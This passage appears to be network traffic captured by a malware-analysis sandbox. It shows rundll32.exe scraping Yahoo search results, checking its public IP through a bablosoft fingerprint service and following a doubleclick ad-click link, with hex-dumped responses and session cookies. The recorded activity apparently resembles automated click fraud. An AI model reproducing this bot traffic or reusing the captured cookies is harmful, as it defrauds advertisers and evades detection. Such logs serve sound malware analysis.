2d 72 69 67 68 74 22 2c 28 73 3d 64 6f Data Ascii: sName="sa-preview-spacer",document.createElement("div"));return a.className="sa-preview-button",a.innerHTML="See more",e.appendChild(i),e.appendChild(s),e.appendChild(n),e.appendChild(a),(i=document.createElement("div")).className="sa-preview-right",(s=do
2023-12-10 16:48:46 UTC	12616	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 42 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 6c 6f 67 3a 7b 5f 72 3a 32 2c 61 63 74 6e 3a 22 63 6c 6b 22 2c 70 6f 73 3a 31 2c 73 65 63 3a 22 73 65 61 72 63 68 22 2c 73 6c 6b 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 2c 74 31 3a 22 68 64 72 22 2c 74 32 3a 22 73 65 61 72 63 68 22 2c 74 33 3a 22 63 6c 65 61 72 22 2c 74 34 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4d 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 63 73 73 3a 7b 6e 61 6d 65 73 70 61 63 65 3a 22 73 61 2d 66 65 65 64 62 61 63 6b 22 7d 2c 74 65 78 74 3a 7b 72 65 70 6f 72 74 3a 22 52 65 70 6f 72 74 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 77 68 69 63 68 3a 22 57 68 69 63 68 20 70 72 Data Ascii: unction Bt(){this.config={log:{_r:2,actn:"clk",pos:1,sec:"search",slk:"clearsearch",t1:"hdr",t2:"search",t3:"clear",t4:"clearsearch"}}}function Mt(){this.config={css:{namespace:"sa-feedback"},text:{report:"Report inappropriate predictions",which:"Which pr
2023-12-10 16:48:46 UTC	16384	IN	Data Raw: 68 69 73 3b 74 2e 70 61 73 66 3d 5b 5d 2c 74 2e 72 65 6c 61 74 65 64 53 74 6f 63 6b 73 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 6c 2c 62 65 2c 74 29 2c 65 2e 6f 6e 28 66 2c 45 65 2c 74 29 2c 65 2e 6f 6e 28 49 2c 5f 65 2c 74 29 7d 7d 2c 43 65 29 2c 64 2e 73 61 52 65 6c 61 74 65 64 53 74 6f 63 6b 73 3d 28 54 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 2e 70 61 73 66 3d 5b 5d 2c 74 2e 72 65 6c 61 74 65 64 53 74 6f 63 6b 73 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 74 2e 63 75 72 72 65 6e 74 50 6f 73 3d 30 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 66 2c 77 65 2c 74 29 2c 65 2e 6f 6e 28 49 2c Data Ascii: his;t.pasf=[],t.relatedStocks=[],t.beforeNode=null,(t.app=e).on(l,be,t),e.on(f,Ee,t),e.on(I,_e,t)}},Ce),d.saRelatedStocks=(Te.prototype={init:function(e){var t=this;t.pasf=[],t.relatedStocks=[],t.beforeNode=null,t.currentPos=0,(t.app=e).on(f,we,t),e.on(I,
2023-12-10 16:48:46 UTC	3768	IN	Data Raw: 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 61 2c 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 64 64 2e 6c 72 72 4c 6f 63 61 6c 20 70 20 61 2c 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 64 64 2e 6c 72 72 48 6f 74 65 6c 20 70 20 61 2c 2e 63 73 2d 6c 62 6f 78 2d 6f 76 65 72 6c 61 79 20 2e 63 73 2d 6c 62 6f 78 20 61 2c 23 72 65 73 75 6c 74 73 20 2e 4c 6f 63 61 6c 50 63 2d 6c 69 73 74 69 6e 67 73 20 2e 63 6f 6d 70 4a 73 54 6f 67 67 6c 65 20 61 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 53 70 6f 72 74 73 54 6d 53 63 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 54 65 6e 6e Data Ascii: .compTitle .title a,#results #right .cardReg .dd.lrrLocal p a,#results #right .cardReg .dd.lrrHotel p a,.cs-lbox-overlay .cs-lbox a,#results .LocalPc-listings .compJsToggle a span,#results #web .dd.SportsTmSc .compTitle .title span,#results #web .dd.Tenn
2023-12-10 16:48:46 UTC	3016	IN	Data Raw: 68 6f 6e 65 2c 2e 73 70 63 68 63 20 2e 73 70 65 61 6b 69 6e 67 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 76 6f 69 63 65 53 65 61 72 63 68 31 78 2d 31 36 32 30 33 38 33 35 33 31 35 36 35 2e 6d 69 6e 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 2c 6f 6e Data Ascii: hone,.spchc .speaking .microphone{background-image:url(https://s.yimg.com/pv/static/img/voiceSearch1x-1620383531565.min.png);background-repeat:no-repeat;background-size:initial;color:transparent}@media only screen and (-webkit-min-device-pixel-ratio:2),on

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49782	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:49 UTC	874	OUT	GET /search;_ylt=AwrNYATt63VlYIcr9nRXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=50&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226925&ltv_c=7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:48:50 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 35 30 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:48:50 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:48:50 UTC	950	IN	Data Raw: 31 33 65 61 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 Data Ascii: 13ea7<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yi
2023-12-10 16:48:50 UTC	11584	IN	Data Raw: 20 4c 3d 6f 2e 59 41 48 4f 4f 3d 6f 2e 59 41 48 4f 4f 7c 7c 7b 7d 3b 4c 2e 55 4c 54 7c 7c 28 4c 2e 55 4c 54 3d 7b 7d 29 2c 4c 2e 55 4c 54 2e 53 52 43 5f 53 50 41 43 45 49 44 5f 4b 45 59 3d 22 5f 53 22 2c 4c 2e 55 4c 54 2e 44 45 53 54 5f 53 50 41 43 45 49 44 5f 4b 45 59 3d 22 5f 73 22 2c 4c 2e 55 4c 54 2e 53 52 43 5f 56 49 45 57 5f 4b 45 59 3d 22 5f 49 22 2c 4c 2e 55 4c 54 2e 59 4c 43 5f 4c 49 42 53 52 43 3d 32 2c 4c 2e 55 4c 54 2e 43 54 52 4c 5f 43 3d 22 03 22 2c 4c 2e 55 4c 54 2e 43 54 52 4c 5f 44 3d 22 04 22 2c 4c 2e 55 4c 54 2e 42 41 53 45 36 34 5f 53 54 52 3d 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2e 5f Data Ascii: L=o.YAHOO=o.YAHOO\|\|{};L.ULT\|\|(L.ULT={}),L.ULT.SRC_SPACEID_KEY="_S",L.ULT.DEST_SPACEID_KEY="_s",L.ULT.SRC_VIEW_KEY="_I",L.ULT.YLC_LIBSRC=2,L.ULT.CTRL_C="",L.ULT.CTRL_D="",L.ULT.BASE64_STR="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._
2023-12-10 16:48:50 UTC	5792	IN	Data Raw: 22 61 66 74 65 72 5f 63 72 65 61 74 65 5f 69 74 65 6d 22 2c 61 3d 22 62 65 66 6f 72 65 5f 73 68 6f 77 5f 73 61 22 2c 6f 3d 22 61 66 74 65 72 5f 72 65 73 65 74 5f 76 69 65 77 22 2c 6d 3d 22 62 65 66 6f 72 65 5f 68 69 64 65 5f 76 69 65 77 22 2c 67 3d 22 61 66 74 65 72 5f 68 69 64 65 5f 76 69 65 77 22 2c 78 3d 22 61 66 74 65 72 5f 65 78 70 61 6e 64 65 64 22 2c 52 3d 22 61 66 74 65 72 5f 69 6e 69 74 5f 63 6f 6e 74 72 6f 6c 6c 65 72 22 2c 41 3d 22 63 6c 69 63 6b 5f 61 73 73 69 73 74 22 2c 4e 3d 22 62 65 66 6f 72 65 5f 71 75 65 72 79 5f 61 73 73 69 73 74 22 2c 4c 3d 22 62 65 66 6f 72 65 5f 6b 65 79 5f 73 75 62 6d 69 74 22 2c 50 3d 22 62 65 66 6f 72 65 5f 62 75 74 74 6f 6e 5f 73 75 62 6d 69 74 22 2c 46 3d 22 62 65 66 6f 72 65 5f 73 75 62 6d 69 74 5f 71 75 65 72 Data Ascii: "after_create_item",a="before_show_sa",o="after_reset_view",m="before_hide_view",g="after_hide_view",x="after_expanded",R="after_init_controller",A="click_assist",N="before_query_assist",L="before_key_submit",P="before_button_submit",F="before_submit_quer
2023-12-10 16:48:50 UTC	15392	IN	Data Raw: 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 6e 2d 70 72 69 63 65 22 3e 7b 32 7d 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 6e 2d 70 72 69 63 65 43 68 67 20 7b 33 7d 22 3e 7b 34 7d 3c 2f 64 69 76 3e 27 2c 64 6f 77 6e 3a 7b 63 73 73 3a 22 73 61 2d 72 65 6c 61 74 65 64 2d 73 74 6f 63 6b 73 2d 64 6f 77 6e 22 7d 2c 75 70 3a 7b 63 73 73 3a 22 73 61 2d 72 65 6c 61 74 65 64 2d 73 74 6f 63 6b 73 2d 75 70 22 7d 2c 6d 69 6e 54 68 72 65 73 68 6f 6c 64 3a 30 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 65 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 2c 69 3d 65 2e 72 2e 6c 65 6e 67 74 68 3b 74 3c 69 3b 74 2b 2b 29 65 2e 72 5b 74 5d 2e 6d 26 26 37 36 3d 3d 65 2e 72 5b 74 5d 2e 6d 26 26 28 65 2e 72 5b 74 5d 2e 66 64 26 26 28 65 2e 72 5b 74 5d 2e Data Ascii: </div><div class="fin-price">{2}</div><div class="fin-priceChg {3}">{4}</div>',down:{css:"sa-related-stocks-down"},up:{css:"sa-related-stocks-up"},minThreshold:0}}function ke(e){for(var t=0,i=e.r.length;t<i;t++)e.r[t].m&&76==e.r[t].m&&(e.r[t].fd&&(e.r[t].
2023-12-10 16:48:50 UTC	6328	IN	Data Raw: 66 73 65 74 2c 63 3d 69 2e 64 65 6c 74 61 2c 70 3d 66 2e 67 65 74 45 6c 65 6d 53 74 79 6c 65 56 61 6c 75 65 3b 69 66 28 61 2e 76 61 6c 75 65 2e 6c 65 6e 67 74 68 3e 69 2e 6d 69 6e 51 75 65 72 79 26 26 65 26 26 65 2e 72 26 26 65 2e 72 2e 6c 65 6e 67 74 68 26 26 28 6f 3d 65 2e 73 71 70 6f 73 29 29 7b 66 6f 72 28 76 61 72 20 64 3d 22 22 2c 68 3d 65 2e 72 2c 75 3d 30 3b 75 3c 68 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 64 3d 68 5b 75 5d 2e 6b 2e 6c 65 6e 67 74 68 3e 64 2e 6c 65 6e 67 74 68 3f 68 5b 75 5d 2e 6b 3a 64 3b 76 61 72 20 66 3d 66 2e 63 6f 6e 66 69 67 2c 6d 3d 74 2e 63 72 65 61 74 65 45 6c 65 6d 2c 67 3d 6d 28 66 2e 73 61 2c 22 64 69 76 22 29 2c 76 3d 6d 28 66 2e 73 61 4c 69 73 74 2c 22 75 6c 22 29 2c 79 3d 28 66 2e 62 6f 6c 64 54 61 67 2c 5b 64 2c 65 2e Data Ascii: fset,c=i.delta,p=f.getElemStyleValue;if(a.value.length>i.minQuery&&e&&e.r&&e.r.length&&(o=e.sqpos)){for(var d="",h=e.r,u=0;u<h.length;u++)d=h[u].k.length>d.length?h[u].k:d;var f=f.config,m=t.createElem,g=m(f.sa,"div"),v=m(f.saList,"ul"),y=(f.boldTag,[d,e.
2023-12-10 16:48:50 UTC	14480	IN	Data Raw: 2c 73 6c 6b 3a 22 61 73 73 69 73 74 2d 72 65 70 6f 72 74 22 2c 72 73 70 6e 73 3a 22 75 70 64 22 2c 6c 74 78 74 3a 21 30 7d 7d 7d 72 2e 53 41 3d 28 73 3d 5b 5d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 6a 73 6f 6e 70 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 77 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 69 3d 77 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 53 2e 73 65 74 28 69 2c 22 74 79 70 65 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 29 2c 53 2e 73 65 74 28 69 2c 22 73 72 63 22 2c 65 29 2c 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 53 2e 61 65 28 69 2c 22 6c 6f 61 64 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 72 65 6d 6f 76 65 43 Data Ascii: ,slk:"assist-report",rspns:"upd",ltxt:!0}}}r.SA=(s=[],e.prototype={jsonp:function(e){var t=w.getElementsByTagName("head")[0],i=w.createElement("script");S.set(i,"type","text/javascript"),S.set(i,"src",e),t.appendChild(i),S.ae(i,"load",function(){t.removeC
2023-12-10 16:48:50 UTC	11960	IN	Data Raw: 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 6c 69 22 2c 63 73 73 3a 74 2b 22 2d 6f 70 74 22 7d 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 6e 61 6d 65 3d 22 27 2b 74 2b 27 2d 73 75 67 67 22 20 69 64 3d 22 27 2b 28 72 3d 74 2b 22 2d 73 75 67 67 2d 22 2b 6e 29 2b 27 22 20 76 61 6c 75 65 3d 22 27 2b 6c 2e 6b 2b 27 22 3e 3c 73 70 61 6e 3e 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 27 2b 72 2b 27 22 3e 27 2b 70 2e 68 74 6d 6c 45 6e 63 6f 64 65 28 6c 2e 6b 29 2b 22 3c 2f 6c 61 62 65 6c 3e 3c 2f 73 70 61 6e 3e 22 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2c 6e 2b 2b 29 7d 74 68 69 73 2e 63 61 6e 52 65 70 6f 72 74 3d 30 3c 6e 2c 74 68 69 73 2e 72 65 70 6f 72 74 53 75 67 67 4c Data Ascii: his.createElem({tag:"li",css:t+"-opt"})).innerHTML='<input type="checkbox" name="'+t+'-sugg" id="'+(r=t+"-sugg-"+n)+'" value="'+l.k+'"><span><label for="'+r+'">'+p.htmlEncode(l.k)+"</label></span>",i.appendChild(o),n++)}this.canReport=0<n,this.reportSuggL
2023-12-10 16:48:50 UTC	6864	IN	Data Raw: 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 63 6f 73 6d 6f 73 5f 73 70 72 69 74 65 32 78 2d 31 36 35 35 33 31 33 36 33 35 33 39 31 2e 6d 69 6e 2e 70 6e 67 22 29 3b 7d 7d 23 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 32 31 70 78 3b 77 69 64 74 68 3a 38 38 70 78 3b 74 6f 70 3a 20 30 3b 6c 65 66 74 3a 20 30 3b 6d 61 72 67 69 6e 3a 31 35 70 78 20 30 20 30 20 39 30 70 78 3b 20 2a 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 74 65 78 74 2d 69 6e 64 65 6e 74 3a 20 31 30 30 25 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 Data Ascii: nd-image: url("https://s.yimg.com/pv/static/img/cosmos_sprite2x-1655313635391.min.png");}}#logo{height:21px;width:88px;top: 0;left: 0;margin:15px 0 0 90px; *margin-top:5px;display: block;overflow: hidden;text-indent: 100%;white-space: nowrap;background-re
2023-12-10 16:48:50 UTC	16384	IN	Data Raw: 64 65 20 2e 67 75 69 64 65 2d 74 65 78 74 20 2e 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 38 70 78 7d 2e 73 70 63 68 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6c 65 66 74 3a 30 3b 6f 70 61 63 69 74 79 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 74 6f 70 3a 30 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 76 69 73 69 62 69 6c 69 74 79 20 30 73 20 6c 69 6e 65 61 72 20 2e 32 31 38 73 2c 62 61 63 Data Ascii: de .guide-text .text{color:#232a31;font-size:16px;line-height:28px}.spch{background:#fff;height:100%;left:0;opacity:0;overflow:hidden;position:fixed;text-align:left;top:0;visibility:hidden;width:100%;z-index:10000;transition:visibility 0s linear .218s,bac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49786	162.19.169.11	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:51 UTC	67	OUT	GET /ip HTTP/1.1 Host: fingerprints.bablosoft.com Accept: /
2023-12-10 16:48:51 UTC	566	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 35 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 4f 53 54 2c 20 50 55 54 2c 20 44 45 4c 45 54 45 2c 20 50 41 54 43 48 2c 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Dec 2023 16:48:51 GMTContent-Length: 15Connection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess
2023-12-10 16:48:51 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49787	192.178.50.38	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:51 UTC	839	OUT	GET /searchads/link/click?lid=43700075290420019&ds_s_kwgid=58700008283701479&ds_a_cid=46740138&ds_a_caid=18700621405&ds_a_agid=144724770125&ds_a_fiid=&ds_a_lid=kwd-298208513160&ds_a_extid=&&ds_e_adid=649129367969&ds_e_matchtype=search&ds_e_device=c&ds_e_network=g&&ds_url_v=2&dc_eps=AHas8cAsEcTqgo4hYlrs9u8BuyLKVvQyrF34mvr5GeFfDKlbIOBkopK-11uDn15QdF0FRdIepgPACbkjpg&ds_dest_url=https://www.botoxchronicmigraine.com/find-a-botox-specialist?ppc_cv602dc804c9fa44a5875e128a6b1a1300&gclsrc=aw.ds&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAiAAEgIDEfD_BwE HTTP/1.1 Host: ad.doubleclick.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
2023-12-10 16:48:52 UTC	1053	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 50 33 50 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 6f 67 6c 65 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 61 67 65 61 64 2f 67 63 6e 5f 70 33 70 5f 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 55 52 61 20 41 44 4d 61 20 44 45 56 61 20 54 41 49 6f 20 50 53 41 6f 20 50 53 44 6f 20 4f 55 52 20 49 4e 44 20 55 4e 49 20 50 55 52 20 49 4e 54 20 44 45 4d 20 53 54 41 20 50 52 45 20 43 4f 4d 20 4e 41 56 20 4f 54 43 20 4e 4f 49 20 44 53 50 20 43 4f 52 22 0d 0a 54 69 6d 69 6e 67 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 43 72 6f 73 73 2d 4f 72 69 67 69 6e 2d 52 65 73 6f 75 72 63 65 2d 50 6f 6c 69 63 79 3a 20 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a 4c Data Ascii: HTTP/1.1 302 FoundP3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"Timing-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49790	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:54 UTC	874	OUT	GET /search;_ylt=AwrFcojy63VlKeMrXMtXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=57&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; 